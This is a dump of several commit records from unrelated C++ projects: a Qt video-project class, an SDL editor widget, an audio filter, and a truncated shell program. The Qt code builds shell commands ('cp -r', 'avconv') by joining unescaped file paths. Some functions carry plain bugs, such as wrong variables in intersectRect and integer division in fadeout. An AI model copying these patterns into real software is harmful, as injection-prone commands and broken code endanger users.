projet->_frequenceVideo = string.toInt();\n\n in >> string;\n projet->_nbFrameVideo = string.toInt();\n\n qDebug() << \"Frequence : \" << projet->_frequenceVideo;\n qDebug() << \"Nombre de frames : \" << projet->_nbFrameVideo;\n }\n else\n {\n throw QString(\"Le projet n'est pas complet\");\n }\n\n if(projet->_input->exists() && projet->_output->exists())\n {\n projet->_video = new QFile(projet->_input->path() + \"\/video\");\n\n if(!projet->_video->exists())\n {\n throw QString(\"Le projet n'est pas complet\");\n }\n\n for(int i = 1; i <= projet->_nbFrameVideo; i++)\n {\n try\n {\n projet->_imagesVideo.push_back(new QImage(projet->_input->path() + \"\/img\" + QString::number(i) + \".bmp\"));\n projet->_imagesOutput.push_back(new QImage(projet->_output->path() + \"\/img\" + QString::number(i) + \".png\"));\n }\n catch(QException e)\n {\n throw QString(\"Le projet n'est pas complet\");\n }\n }\n }\n else\n {\n throw QString(\"Ce projet est mal formé\");\n }\n }\n else\n {\n throw QString(\"Ce projet n'existe pas\");\n }\n\n return projet;\n}\n\nvoid Projet::save()\n{\n for(size_t i = 0; i < _imagesOutput.size(); i++)\n {\n _imagesOutput.at(i)->save(_output->path()+\"\/img\" + QString::number(i+1) + \".png\");\n }\n}\n\nvoid Projet::saveAs(QDir &projet)\n{\n if(projet.exists())\n {\n if(projet.count() == 0)\n {\n QProcess process;\n process.start(\"cp -R \" + _project->path() + \" \" + workspace.path() + \"\/\" + name );\n process.waitForFinished(-1);\n }\n else\n {\n throw QString(\"Ce dossier n'est pas vide\");\n }\n }\n else\n {\n throw QString(\"Ce dossier n'existe pas\");\n }\n}\n<commit_msg>Correction of saveAs<commit_after>#include \"projet.h\"\n#include <QtDebug>\n#include <QProcess>\n#include <QException>\n#include <QPainter>\n\nconst QSize Projet::sizeOutput = QSize(1002, 561);\n\nProjet::Projet()\n{\n\n}\n\nQImage* Projet::getImageVideo(int number)\n{\n return _imagesVideo.at(number);\n}\n\nQImage* Projet::getImageOutput(int number)\n{\n return _imagesOutput.at(number);\n}\n\nint Projet::getNbFrameVideo()\n{\n return _nbFrameVideo;\n}\n\nProjet* Projet::create(QString &name, QDir &workspace, QFile &video, int frequenceVideo)\n{\n Projet *projet = new Projet();\n\n projet->_frequenceVideo = frequenceVideo;\n\n if(workspace.exists())\n {\n if(video.exists())\n {\n if(workspace.mkdir(name))\n {\n projet->_project = new QDir(workspace.path()+\"\/\"+name);\n qDebug() << projet->_project->path();\n projet->_project->mkdir(\"input\");\n projet->_input = new QDir(projet->_project->path()+\"\/input\");\n projet->_project->mkdir(\"output\");\n projet->_output = new QDir(projet->_project->path()+\"\/output\");\n video.copy(projet->_project->path()+\"\/input\/video\");\n projet->_video = new QFile(projet->_project->path()+\"\/input\/video\");\n\n QProcess process;\n process.start(\"avconv -i \" + projet->_project->path() +\"\/input\/video -vsync 1 -s \" + QString::number(sizeOutput.width()) + \"x\" + QString::number(projet->sizeOutput.height()) + \" -r \" + QString::number(projet->_frequenceVideo) + \" -y \" + projet->_project->path() + \"\/input\/img%d.bmp\");\n process.waitForFinished(-1);\n\n QStringList filters;\n filters << \"img*.bmp\";\n projet->_nbFrameVideo = projet->_input->entryList(filters).count();\n qDebug() << \"Nombre de frames : \" << projet->_nbFrameVideo;\n\n QFile file(projet->_project->path() + \"\/info\");\n file.open(QIODevice::WriteOnly | QIODevice::Text);\n QTextStream out(&file);\n\n out << QString::number(projet->_frequenceVideo) << \"\\n\" << QString::number(projet->_nbFrameVideo);\n\n file.close();\n\n for(int i = 1; i <= projet->_nbFrameVideo; i++)\n {\n projet->_imagesVideo.push_back(new QImage(projet->_input->path()+\"\/img\"+QString::number(i)+\".bmp\"));\n QImage *image = new QImage(projet->sizeOutput.width(),projet->sizeOutput.height(),QImage::Format_ARGB32);\n image->save(projet->_output->path() + \"\/img\" + QString::number(i) + \".png\");\n projet->_imagesOutput.push_back(image);\n }\n }\n else\n {\n throw QString(\"Ce projet existe déjà\");\n }\n }\n else\n {\n throw QString(\"La vidéo n'existe pas\");\n }\n }\n else\n {\n throw QString(\"Le workspace n'existe pas\");\n }\n\n return projet;\n}\n\nProjet* Projet::open(QDir &path)\n{\n Projet *projet = new Projet();\n\n if(path.exists())\n {\n projet->_project = new QDir(path.path());\n projet->_input = new QDir(path.path() + \"\/input\");\n projet->_output = new QDir(path.path() + \"\/output\");\n\n QFile info(projet->_project->path() + \"\/info\");\n\n if(info.exists())\n {\n info.open(QIODevice::ReadOnly | QIODevice::Text);\n QTextStream in(&info);\n\n QString string;\n in >> string;\n projet->_frequenceVideo = string.toInt();\n\n in >> string;\n projet->_nbFrameVideo = string.toInt();\n\n qDebug() << \"Frequence : \" << projet->_frequenceVideo;\n qDebug() << \"Nombre de frames : \" << projet->_nbFrameVideo;\n }\n else\n {\n throw QString(\"Le projet n'est pas complet\");\n }\n\n if(projet->_input->exists() && projet->_output->exists())\n {\n projet->_video = new QFile(projet->_input->path() + \"\/video\");\n\n if(!projet->_video->exists())\n {\n throw QString(\"Le projet n'est pas complet\");\n }\n\n for(int i = 1; i <= projet->_nbFrameVideo; i++)\n {\n try\n {\n projet->_imagesVideo.push_back(new QImage(projet->_input->path() + \"\/img\" + QString::number(i) + \".bmp\"));\n projet->_imagesOutput.push_back(new QImage(projet->_output->path() + \"\/img\" + QString::number(i) + \".png\"));\n }\n catch(QException e)\n {\n throw QString(\"Le projet n'est pas complet\");\n }\n }\n }\n else\n {\n throw QString(\"Ce projet est mal formé\");\n }\n }\n else\n {\n throw QString(\"Ce projet n'existe pas\");\n }\n\n return projet;\n}\n\nvoid Projet::save()\n{\n for(size_t i = 0; i < _imagesOutput.size(); i++)\n {\n _imagesOutput.at(i)->save(_output->path()+\"\/img\" + QString::number(i+1) + \".png\");\n }\n}\n\nvoid Projet::saveAs(QDir &projet)\n{\n if(projet.exists())\n {\n if(projet.count() == 2) \/\/Les 2 correspond à . et ..\n {\n QProcess::execute(\"cp -r \" + _project->absolutePath() + \"\/input \" + projet.absolutePath() + \"\/\" + name + \"\/\");\n QProcess::execute(\"cp -r \" + _project->absolutePath() + \"\/output \" + projet.absolutePath() + \"\/\" + name + \"\/\");\n QProcess::execute(\"cp -r \" + _project->absolutePath() + \"\/info \" + projet.absolutePath() + \"\/\" + name + \"\/\");\n }\n else\n {\n throw QString(\"Ce dossier n'est pas vide\");\n }\n }\n else\n {\n QString name(projet.dirName());\n if(projet.cdUp() && projet.mkdir(name))\n {\n QProcess::execute(\"cp -r \" + _project->absolutePath() + \"\/input \" + projet.absolutePath() + \"\/\" + name + \"\/\");\n QProcess::execute(\"cp -r \" + _project->absolutePath() + \"\/output \" + projet.absolutePath() + \"\/\" + name + \"\/\");\n QProcess::execute(\"cp -r \" + _project->absolutePath() + \"\/info \" + projet.absolutePath() + \"\/\" + name + \"\/\");\n }\n else\n {\n throw QString(\"Ce dossier n'existe pas\");\n }\n }\n}\n<|endoftext|>"} {"text":"<commit_before>#include \"Debug.h\"\n#include \"Editor.h\"\n#include \"Renderer.h\"\n#include \"Color.h\"\n#include <cstdio>\n\n\nEditor::Editor(EditorState& editorState, bool wantsFocus)\n\t: mEditorState(editorState), mFocus(NULL), mModal(NULL), mIsDirty(true), mRedraw(true), mParent(NULL), mNumChildren(0), mWantsFocus(wantsFocus)\n{\n\tmThisArea.x = 0;\n\tmThisArea.y = 0;\n}\n\n\nEditor::~Editor() {}\n\n\nEditor * Editor::getFocus()\n{\n\tif (mParent)\n\t\treturn mParent->getFocus();\n\n\treturn mFocus;\n}\n\n\nvoid Editor::setFocus(Editor *editor)\n{\n\tif (mParent)\n\t\tmParent->setFocus(editor);\n\telse\n\t{\n\t\tif (mFocus)\n\t\t\tmFocus->setDirty(true);\n\t\tmFocus = editor;\n\n\t\tif (editor)\n\t\t\teditor->setDirty(true);\n\t}\n}\n\n\nbool Editor::onEvent(SDL_Event& event)\n{\n\treturn false;\n}\n\n\nvoid Editor::setDirty(bool dirty)\n{\n\tmIsDirty = dirty;\n\n\tif (!dirty)\n\t\tmRedraw = false;\n\n\tif (dirty && mParent != NULL)\n\t\tmParent->setDirty(true);\n}\n\n\nbool Editor::shouldRedrawBackground() const\n{\n\treturn mRedraw;\n}\n\n\nbool Editor::isDirty() const\n{\n\treturn mIsDirty || hasDirty();\n}\n\n\nvoid Editor::addChild(Editor *child, int x, int y, int w, int h)\n{\n\tchild->mParent = this;\n\tSDL_Rect& area = mChildrenArea[mNumChildren];\n\tarea.x = x;\n\tarea.y = y;\n\tarea.w = w;\n\tarea.h = h;\n\tmChildren[mNumChildren++] = child;\n\n\tSDL_Rect absArea = {area.x + mThisArea.x, area.y + mThisArea.y, area.w, area.h};\n\n\tchild->setArea(absArea);\n}\n\n\nvoid Editor::setArea(const SDL_Rect& area)\n{\n\tmThisArea.x = area.x;\n\tmThisArea.y = area.y;\n\tmThisArea.w = area.w;\n\tmThisArea.h = area.h;\n\n\tif (mParent) mParent->childAreaChanged(this);\n\n\tonAreaChanged(mThisArea);\n}\n\n\nconst SDL_Rect& Editor::getArea() const\n{\n\treturn mThisArea;\n}\n\n\nvoid Editor::onAreaChanged(const SDL_Rect& area)\n{\n}\n\n\nbool Editor::hasDirty() const\n{\n\tfor (int i = 0 ; i < mNumChildren ; ++i)\n\t\tif (mChildren[i]->isDirty())\n\t\t\treturn true;\n\n\treturn false;\n}\n\n\nbool Editor::hasFocus()\n{\n\treturn getFocus() == this;\n}\n\n\n\nbool Editor::isFocusable() const\n{\n\treturn mWantsFocus;\n}\n\n\nvoid Editor::onListenableChange(Listenable *listenable)\n{\n\tsetDirty(true);\n}\n\n\nvoid Editor::drawCoveredChildren(Renderer& renderer, const SDL_Rect& area, const SDL_Rect& childArea, int maxIndex)\n{\n\trenderer.renderBackground(childArea);\n\n\tfor (int index = 0 ; index <= maxIndex && index < mNumChildren ; ++index)\n\t{\n\t\tSDL_Rect thisChildArea = mChildrenArea[index];\n\t\tthisChildArea.x += area.x;\n\t\tthisChildArea.y += area.y;\n\n\t\tSDL_Rect intersection;\n\n\t\tif (intersectRect(childArea, thisChildArea, intersection))\n\t\t{\n\t\t\trenderer.setClip(intersection);\n\t\t\tmChildren[index]->draw(renderer, thisChildArea);\n\t\t}\n\t}\n}\n\n\nvoid Editor::drawChildren(Renderer& renderer, const SDL_Rect& area)\n{\n\tfor (int index = 0 ; index < mNumChildren ; ++index)\n\t{\n\t\tif (mChildren[index]->isDirty())\n\t\t{\n\t\t\tSDL_Rect childArea = mChildrenArea[index];\n\t\t\tchildArea.x += area.x;\n\t\t\tchildArea.y += area.y;\n\n\t\t\tdrawCoveredChildren(renderer, area, childArea, index - 1);\n\n\t\t\trenderer.setClip(childArea);\n\n\t\t\tmChildren[index]->draw(renderer, childArea);\n\t\t}\n\t}\n}\n\n\nvoid Editor::drawModal(Renderer& renderer)\n{\n\tif (mModal != NULL)\n\t{\n\t\tif (mModal->shouldRedrawBackground())\n\t\t{\n\t\t\t\/\/ Draw plain black background with white border\n\t\t\trenderer.clearRect(mModal->getArea(), Color(0, 0, 0));\n\t\t\trenderer.drawRect(mModal->getArea(), Color(255, 255, 255));\n\t\t}\n\n\t\tSDL_Rect modalContent = mModal->getArea();\n\t\tmodalContent.x += 2;\n\t\tmodalContent.y += 2;\n\t\tmodalContent.w -= 4;\n\t\tmodalContent.h -= 4;\n\n\t\tmModal->draw(renderer, modalContent);\n\t}\n}\n\n\nvoid Editor::setModal(Editor *modal)\n{\n\tif (mModal != NULL)\n\t\tmModal->mParent = NULL;\n\n\tmModal = modal;\n\n\tif (mModal != NULL)\n\t{\n\t\tmModal->mParent = this;\n\t\tSDL_Rect modalArea = { mThisArea.x + 16, mThisArea.y + 16, mThisArea.w - 32, mThisArea.h - 32 };\n\t\tmModal->setArea(modalArea);\n\t}\n\n\tinvalidateAll();\n}\n\n\nvoid Editor::onFileSelectorEvent(const Editor& fileSelector, bool accept)\n{\n}\n\n\nvoid Editor::invalidateAll()\n{\n\tsetDirty(true);\n\tmRedraw = true;\n\n\tfor (int index = 0 ; index < mNumChildren ; ++index)\n\t{\n\t\tmChildren[index]->invalidateAll();\n\t}\n\n\tif (mModal)\n\t\tmModal->invalidateAll();\n}\n\n\nvoid Editor::onMessageBoxEvent(const Editor& messageBox, int code)\n{\n}\n\n\nvoid Editor::draw(Renderer& renderer, const SDL_Rect& area)\n{\n\t\/\/ This should fix problems with modal backgrounds not being updated\n\t\/\/ and perhaps also other child Editors.\n\n\tinvalidateAll();\n\n\tif (mModal == NULL)\n\t{\n\t\tthis->onDraw(renderer, area);\n\t\tdrawChildren(renderer, area);\n\t}\n\telse\n\t{\n\t\tdrawModal(renderer);\n\t}\n\n\tsetDirty(false);\n}\n\n\nvoid Editor::invalidateParent()\n{\n\tif (mParent)\n\t\tmParent->invalidateAll();\n}\n\n\nbool Editor::pointInRect(const SDL_Point& point, const SDL_Rect& rect)\n{\n#ifdef SDL_PointInRect\n\treturn SDL_PointInRect(&point, &rect);\n#else\n\t\/\/ In case we are using SDL <2.0.4 (of whatever the version is\n\t\/\/ where the rect built-in functions are introduced. E.g. my\n\t\/\/ PocketCHIP only goes up to 2.0.2 by default.\n\n\treturn point.x >= rect.x && point.x < rect.x + rect.w &&\n\t\tpoint.y >= rect.y && point.y < rect.y + rect.h;\n#endif\n}\n\n\nbool Editor::intersectRect(const SDL_Rect& a, const SDL_Rect& b, SDL_Rect& result)\n{\n#ifdef SDL_IntersectRect\n\treturn SDL_IntersectRect(&point, &rect, &result);\n#else\n\t\/\/ In case we are using SDL <2.0.4 (of whatever the version is\n\t\/\/ where the rect built-in functions are introduced. E.g. my\n\t\/\/ PocketCHIP only goes up to 2.0.2 by default.\n\n\tint aRight = a.x + a.w;\n\tint aBottom = a.y + a.h;\n\tint bRight = b.x + b.w;\n\tint bBottom = b.y + b.h;\n\n\tif (!(a.x < bRight && aRight > b.x && a.y < bBottom && aBottom > b.y))\n\t\treturn false;\n\n\tresult.x = std::max(a.x, b.x);\n\tresult.y = std::max(a.y, b.y);\n\tresult.w = std::min(aRight, bRight) - result.x;\n\tresult.h = std::min(aBottom, bBottom) - result.y;\n\n\treturn true;\n#endif\n}\n\n\nvoid Editor::showTooltipV(const SDL_Rect& area, const char* message, ...)\n{\n\tchar dest[1024];\n va_list argptr;\n va_start(argptr, message);\n vsnprintf(dest, sizeof(dest), message, argptr);\n va_end(argptr);\n\n\tshowTooltip(area, dest);\n}\n\n\nvoid Editor::showTooltip(const SDL_Rect& area, const char* message)\n{\n\tif (mParent != NULL)\n\t\tmParent->showTooltip(area, message);\n}\n\n\nvoid Editor::showMessageV(MessageClass messageClass, const char* message, ...)\n{\n\tchar dest[1024];\n va_list argptr;\n va_start(argptr, message);\n vsnprintf(dest, sizeof(dest), message, argptr);\n va_end(argptr);\n\n\tshowMessage(messageClass, dest);\n}\n\n\nvoid Editor::showMessage(MessageClass messageClass, const char* message)\n{\n\tif (mParent != NULL)\n\t\tmParent->showMessage(messageClass, message);\n\telse\n\t\tdebug(\"[%s] %s\", messageClass == MessageInfo ? \"INFO\" : \"ERROR\", message);\n}\n\n\nvoid Editor::onUpdate(int ms)\n{\n\n}\n\n\nvoid Editor::update(int ms)\n{\n\tonUpdate(ms);\n\n\tfor (int index = 0 ; index < mNumChildren ; ++index)\n\t{\n\t\tmChildren[index]->update(ms);\n\t}\n}\n\n\nvoid Editor::onLoaded()\n{\n\tfor (int index = 0 ; index < mNumChildren ; ++index)\n\t{\n\t\tmChildren[index]->onLoaded();\n\t}\n}\n\n\nvoid Editor::childAreaChanged(Editor *child)\n{\n\tfor (int index = 0 ; index < mNumChildren ; ++index)\n\t{\n\t\tif (mChildren[index] == child)\n\t\t\tmChildrenArea[index] = child->getArea();\n\t}\n}\n<commit_msg>Render modal border outside window area<commit_after>#include \"Debug.h\"\n#include \"Editor.h\"\n#include \"Renderer.h\"\n#include \"Color.h\"\n#include <cstdio>\n\n#define MODAL_BORDER 2\n\nEditor::Editor(EditorState& editorState, bool wantsFocus)\n\t: mEditorState(editorState), mFocus(NULL), mModal(NULL), mIsDirty(true), mRedraw(true), mParent(NULL), mNumChildren(0), mWantsFocus(wantsFocus)\n{\n\tmThisArea.x = 0;\n\tmThisArea.y = 0;\n}\n\n\nEditor::~Editor() {}\n\n\nEditor * Editor::getFocus()\n{\n\tif (mParent)\n\t\treturn mParent->getFocus();\n\n\treturn mFocus;\n}\n\n\nvoid Editor::setFocus(Editor *editor)\n{\n\tif (mParent)\n\t\tmParent->setFocus(editor);\n\telse\n\t{\n\t\tif (mFocus)\n\t\t\tmFocus->setDirty(true);\n\t\tmFocus = editor;\n\n\t\tif (editor)\n\t\t\teditor->setDirty(true);\n\t}\n}\n\n\nbool Editor::onEvent(SDL_Event& event)\n{\n\treturn false;\n}\n\n\nvoid Editor::setDirty(bool dirty)\n{\n\tmIsDirty = dirty;\n\n\tif (!dirty)\n\t\tmRedraw = false;\n\n\tif (dirty && mParent != NULL)\n\t\tmParent->setDirty(true);\n}\n\n\nbool Editor::shouldRedrawBackground() const\n{\n\treturn mRedraw;\n}\n\n\nbool Editor::isDirty() const\n{\n\treturn mIsDirty || hasDirty();\n}\n\n\nvoid Editor::addChild(Editor *child, int x, int y, int w, int h)\n{\n\tchild->mParent = this;\n\tSDL_Rect& area = mChildrenArea[mNumChildren];\n\tarea.x = x;\n\tarea.y = y;\n\tarea.w = w;\n\tarea.h = h;\n\tmChildren[mNumChildren++] = child;\n\n\tSDL_Rect absArea = {area.x + mThisArea.x, area.y + mThisArea.y, area.w, area.h};\n\n\tchild->setArea(absArea);\n}\n\n\nvoid Editor::setArea(const SDL_Rect& area)\n{\n\tmThisArea.x = area.x;\n\tmThisArea.y = area.y;\n\tmThisArea.w = area.w;\n\tmThisArea.h = area.h;\n\n\tif (mParent) mParent->childAreaChanged(this);\n\n\tonAreaChanged(mThisArea);\n}\n\n\nconst SDL_Rect& Editor::getArea() const\n{\n\treturn mThisArea;\n}\n\n\nvoid Editor::onAreaChanged(const SDL_Rect& area)\n{\n}\n\n\nbool Editor::hasDirty() const\n{\n\tfor (int i = 0 ; i < mNumChildren ; ++i)\n\t\tif (mChildren[i]->isDirty())\n\t\t\treturn true;\n\n\treturn false;\n}\n\n\nbool Editor::hasFocus()\n{\n\treturn getFocus() == this;\n}\n\n\n\nbool Editor::isFocusable() const\n{\n\treturn mWantsFocus;\n}\n\n\nvoid Editor::onListenableChange(Listenable *listenable)\n{\n\tsetDirty(true);\n}\n\n\nvoid Editor::drawCoveredChildren(Renderer& renderer, const SDL_Rect& area, const SDL_Rect& childArea, int maxIndex)\n{\n\trenderer.renderBackground(childArea);\n\n\tfor (int index = 0 ; index <= maxIndex && index < mNumChildren ; ++index)\n\t{\n\t\tSDL_Rect thisChildArea = mChildrenArea[index];\n\t\tthisChildArea.x += area.x;\n\t\tthisChildArea.y += area.y;\n\n\t\tSDL_Rect intersection;\n\n\t\tif (intersectRect(childArea, thisChildArea, intersection))\n\t\t{\n\t\t\trenderer.setClip(intersection);\n\t\t\tmChildren[index]->draw(renderer, thisChildArea);\n\t\t}\n\t}\n}\n\n\nvoid Editor::drawChildren(Renderer& renderer, const SDL_Rect& area)\n{\n\tfor (int index = 0 ; index < mNumChildren ; ++index)\n\t{\n\t\tif (mChildren[index]->isDirty())\n\t\t{\n\t\t\tSDL_Rect childArea = mChildrenArea[index];\n\t\t\tchildArea.x += area.x;\n\t\t\tchildArea.y += area.y;\n\n\t\t\tdrawCoveredChildren(renderer, area, childArea, index - 1);\n\n\t\t\trenderer.setClip(childArea);\n\n\t\t\tmChildren[index]->draw(renderer, childArea);\n\t\t}\n\t}\n}\n\n\nvoid Editor::drawModal(Renderer& renderer)\n{\n\tif (mModal != NULL)\n\t{\n\t\tif (mModal->shouldRedrawBackground())\n\t\t{\n\t\t\t\/\/ Draw plain black background with white border\n\t\t\tSDL_Rect modalBorder = mModal->getArea();\n\t\t\tmodalBorder.x -= MODAL_BORDER;\n\t\t\tmodalBorder.y -= MODAL_BORDER;\n\t\t\tmodalBorder.w += MODAL_BORDER * 2;\n\t\t\tmodalBorder.h += MODAL_BORDER * 2;\n\t\t\trenderer.clearRect(modalBorder, Color(0, 0, 0));\n\t\t\trenderer.drawRect(modalBorder, Color(255, 255, 255));\n\t\t}\n\n\t\tmModal->draw(renderer, mModal->getArea());\n\t}\n}\n\n\nvoid Editor::setModal(Editor *modal)\n{\n\tif (mModal != NULL)\n\t\tmModal->mParent = NULL;\n\n\tmModal = modal;\n\n\tif (mModal != NULL)\n\t{\n\t\tmModal->mParent = this;\n\t\tSDL_Rect modalArea = { mThisArea.x + 16, mThisArea.y + 16,\n\t\t\tmThisArea.w - 32, mThisArea.h - 32 };\n\t\tmModal->setArea(modalArea);\n\t}\n\n\tinvalidateAll();\n}\n\n\nvoid Editor::onFileSelectorEvent(const Editor& fileSelector, bool accept)\n{\n}\n\n\nvoid Editor::invalidateAll()\n{\n\tsetDirty(true);\n\tmRedraw = true;\n\n\tfor (int index = 0 ; index < mNumChildren ; ++index)\n\t{\n\t\tmChildren[index]->invalidateAll();\n\t}\n\n\tif (mModal)\n\t\tmModal->invalidateAll();\n}\n\n\nvoid Editor::onMessageBoxEvent(const Editor& messageBox, int code)\n{\n}\n\n\nvoid Editor::draw(Renderer& renderer, const SDL_Rect& area)\n{\n\t\/\/ This should fix problems with modal backgrounds not being updated\n\t\/\/ and perhaps also other child Editors.\n\n\tinvalidateAll();\n\n\tif (mModal == NULL)\n\t{\n\t\tthis->onDraw(renderer, area);\n\t\tdrawChildren(renderer, area);\n\t}\n\telse\n\t{\n\t\tdrawModal(renderer);\n\t}\n\n\tsetDirty(false);\n}\n\n\nvoid Editor::invalidateParent()\n{\n\tif (mParent)\n\t\tmParent->invalidateAll();\n}\n\n\nbool Editor::pointInRect(const SDL_Point& point, const SDL_Rect& rect)\n{\n#ifdef SDL_PointInRect\n\treturn SDL_PointInRect(&point, &rect);\n#else\n\t\/\/ In case we are using SDL <2.0.4 (of whatever the version is\n\t\/\/ where the rect built-in functions are introduced. E.g. my\n\t\/\/ PocketCHIP only goes up to 2.0.2 by default.\n\n\treturn point.x >= rect.x && point.x < rect.x + rect.w &&\n\t\tpoint.y >= rect.y && point.y < rect.y + rect.h;\n#endif\n}\n\n\nbool Editor::intersectRect(const SDL_Rect& a, const SDL_Rect& b, SDL_Rect& result)\n{\n#ifdef SDL_IntersectRect\n\treturn SDL_IntersectRect(&point, &rect, &result);\n#else\n\t\/\/ In case we are using SDL <2.0.4 (of whatever the version is\n\t\/\/ where the rect built-in functions are introduced. E.g. my\n\t\/\/ PocketCHIP only goes up to 2.0.2 by default.\n\n\tint aRight = a.x + a.w;\n\tint aBottom = a.y + a.h;\n\tint bRight = b.x + b.w;\n\tint bBottom = b.y + b.h;\n\n\tif (!(a.x < bRight && aRight > b.x && a.y < bBottom && aBottom > b.y))\n\t\treturn false;\n\n\tresult.x = std::max(a.x, b.x);\n\tresult.y = std::max(a.y, b.y);\n\tresult.w = std::min(aRight, bRight) - result.x;\n\tresult.h = std::min(aBottom, bBottom) - result.y;\n\n\treturn true;\n#endif\n}\n\n\nvoid Editor::showTooltipV(const SDL_Rect& area, const char* message, ...)\n{\n\tchar dest[1024];\n va_list argptr;\n va_start(argptr, message);\n vsnprintf(dest, sizeof(dest), message, argptr);\n va_end(argptr);\n\n\tshowTooltip(area, dest);\n}\n\n\nvoid Editor::showTooltip(const SDL_Rect& area, const char* message)\n{\n\tif (mParent != NULL)\n\t\tmParent->showTooltip(area, message);\n}\n\n\nvoid Editor::showMessageV(MessageClass messageClass, const char* message, ...)\n{\n\tchar dest[1024];\n va_list argptr;\n va_start(argptr, message);\n vsnprintf(dest, sizeof(dest), message, argptr);\n va_end(argptr);\n\n\tshowMessage(messageClass, dest);\n}\n\n\nvoid Editor::showMessage(MessageClass messageClass, const char* message)\n{\n\tif (mParent != NULL)\n\t\tmParent->showMessage(messageClass, message);\n\telse\n\t\tdebug(\"[%s] %s\", messageClass == MessageInfo ? \"INFO\" : \"ERROR\", message);\n}\n\n\nvoid Editor::onUpdate(int ms)\n{\n\n}\n\n\nvoid Editor::update(int ms)\n{\n\tonUpdate(ms);\n\n\tfor (int index = 0 ; index < mNumChildren ; ++index)\n\t{\n\t\tmChildren[index]->update(ms);\n\t}\n}\n\n\nvoid Editor::onLoaded()\n{\n\tfor (int index = 0 ; index < mNumChildren ; ++index)\n\t{\n\t\tmChildren[index]->onLoaded();\n\t}\n}\n\n\nvoid Editor::childAreaChanged(Editor *child)\n{\n\tfor (int index = 0 ; index < mNumChildren ; ++index)\n\t{\n\t\tif (mChildren[index] == child)\n\t\t\tmChildrenArea[index] = child->getArea();\n\t}\n}\n<|endoftext|>"} {"text":"<commit_before>\/*\nCopyright (C) 2012 Kolibre\n\nThis file is part of kolibre-narrator.\n\nKolibre-narrator is free software: you can redistribute it and\/or modify\nit under the terms of the GNU Lesser General Public License as published by\nthe Free Software Foundation, either version 2.1 of the License, or\n(at your option) any later version.\n\nKolibre-narrator is distributed in the hope that it will be useful,\nbut WITHOUT ANY WARRANTY; without even the implied warranty of\nMERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\nGNU Lesser General Public License for more details.\n\nYou should have received a copy of the GNU Lesser General Public License\nalong with kolibre-narrator. If not, see <http:\/\/www.gnu.org\/licenses\/>.\n*\/\n\n#include \"Filter.h\"\n\nFilter::Filter()\n{\n setSetting(SETTING_USE_AA_FILTER, true);\n setSetting(SETTING_AA_FILTER_LENGTH, 64);\n setSetting(SETTING_USE_QUICKSEEK, false);\n\n setSetting(SETTING_SEQUENCE_MS, 41);\n setSetting(SETTING_SEEKWINDOW_MS, 28);\n setSetting(SETTING_OVERLAP_MS, 8);\n\n mTempo = 1.0;\n mPitch = 1.0;\n mGain = 1.0;\n\n setTempo(mTempo);\n setPitch(mPitch);\n\n \/\/ Set sane defaults\n open(44100, 2);\n}\n\nFilter::~Filter()\n{\n clear();\n}\n\nbool Filter::open(long rate, int channels)\n{\n if(mRate != rate || mChannels != channels) {\n mRate = rate;\n setSampleRate(mRate);\n mChannels = channels;\n setChannels(mChannels);\n }\n return true;\n}\n\nbool Filter::write(float *buffer, unsigned int samples)\n{\n putSamples(buffer, samples); \/\/ One sample contains data from all channels\n return true;\n}\n\nunsigned int Filter::read(float *buffer, unsigned int bytes)\n{\n bytes = receiveSamples(buffer, bytes);\n applyGain(buffer, bytes);\n return bytes;\n}\n\nvoid Filter::applyGain(float *buffer, unsigned int samples)\n{\n \/\/ Change the gain on the buffer\n static unsigned int i;\n\n if(mGain == 1.0) return;\n\n for(i = 0; i < samples; i++) {\n buffer[i] = buffer[i] * mGain;\n }\n}\n\nvoid Filter::fadeout(float *buffer, unsigned int bytes)\n{\n \/\/ Linear fadeout on the samples in the buffer\n static unsigned int i;\n float val = 1;\n for(i = 0; i < bytes; i++) {\n val = (bytes - i) \/ bytes;\n buffer[i] = buffer[i] * val;\n }\n}\n<commit_msg>Initialize variables<commit_after>\/*\nCopyright (C) 2012 Kolibre\n\nThis file is part of kolibre-narrator.\n\nKolibre-narrator is free software: you can redistribute it and\/or modify\nit under the terms of the GNU Lesser General Public License as published by\nthe Free Software Foundation, either version 2.1 of the License, or\n(at your option) any later version.\n\nKolibre-narrator is distributed in the hope that it will be useful,\nbut WITHOUT ANY WARRANTY; without even the implied warranty of\nMERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\nGNU Lesser General Public License for more details.\n\nYou should have received a copy of the GNU Lesser General Public License\nalong with kolibre-narrator. If not, see <http:\/\/www.gnu.org\/licenses\/>.\n*\/\n\n#include \"Filter.h\"\n\nFilter::Filter()\n{\n setSetting(SETTING_USE_AA_FILTER, true);\n setSetting(SETTING_AA_FILTER_LENGTH, 64);\n setSetting(SETTING_USE_QUICKSEEK, false);\n\n setSetting(SETTING_SEQUENCE_MS, 41);\n setSetting(SETTING_SEEKWINDOW_MS, 28);\n setSetting(SETTING_OVERLAP_MS, 8);\n\n mTempo = 1.0;\n mPitch = 1.0;\n mGain = 1.0;\n mRate = 0;\n mChannels = 0;\n\n setTempo(mTempo);\n setPitch(mPitch);\n\n \/\/ Set sane defaults\n open(44100, 2);\n}\n\nFilter::~Filter()\n{\n clear();\n}\n\nbool Filter::open(long rate, int channels)\n{\n if(mRate != rate || mChannels != channels) {\n mRate = rate;\n setSampleRate(mRate);\n mChannels = channels;\n setChannels(mChannels);\n }\n return true;\n}\n\nbool Filter::write(float *buffer, unsigned int samples)\n{\n putSamples(buffer, samples); \/\/ One sample contains data from all channels\n return true;\n}\n\nunsigned int Filter::read(float *buffer, unsigned int bytes)\n{\n bytes = receiveSamples(buffer, bytes);\n applyGain(buffer, bytes);\n return bytes;\n}\n\nvoid Filter::applyGain(float *buffer, unsigned int samples)\n{\n \/\/ Change the gain on the buffer\n static unsigned int i;\n\n if(mGain == 1.0) return;\n\n for(i = 0; i < samples; i++) {\n buffer[i] = buffer[i] * mGain;\n }\n}\n\nvoid Filter::fadeout(float *buffer, unsigned int bytes)\n{\n \/\/ Linear fadeout on the samples in the buffer\n static unsigned int i;\n float val = 1;\n for(i = 0; i < bytes; i++) {\n val = (bytes - i) \/ bytes;\n buffer[i] = buffer[i] * val;\n }\n}\n<|endoftext|>"} {"text":"<commit_before>#include <iostream>\n#include <string>\n#include <unistd.h>\n#include <sys\/types.h>\n#include <sys\/wait.h>\n#include <stdio.h>\n#include <string.h>\n#include <cstring>\n#include <wait.h>\n#include <vector>\n#include <fcntl.h>\n#include <cstdlib>\n#include <errno.h>\n#include <sys\/stat.h>\n#include <boost\/algorithm\/string\/trim.hpp>\n#include <boost\/algorithm\/string.hpp>\n\nusing namespace std;\nusing namespace 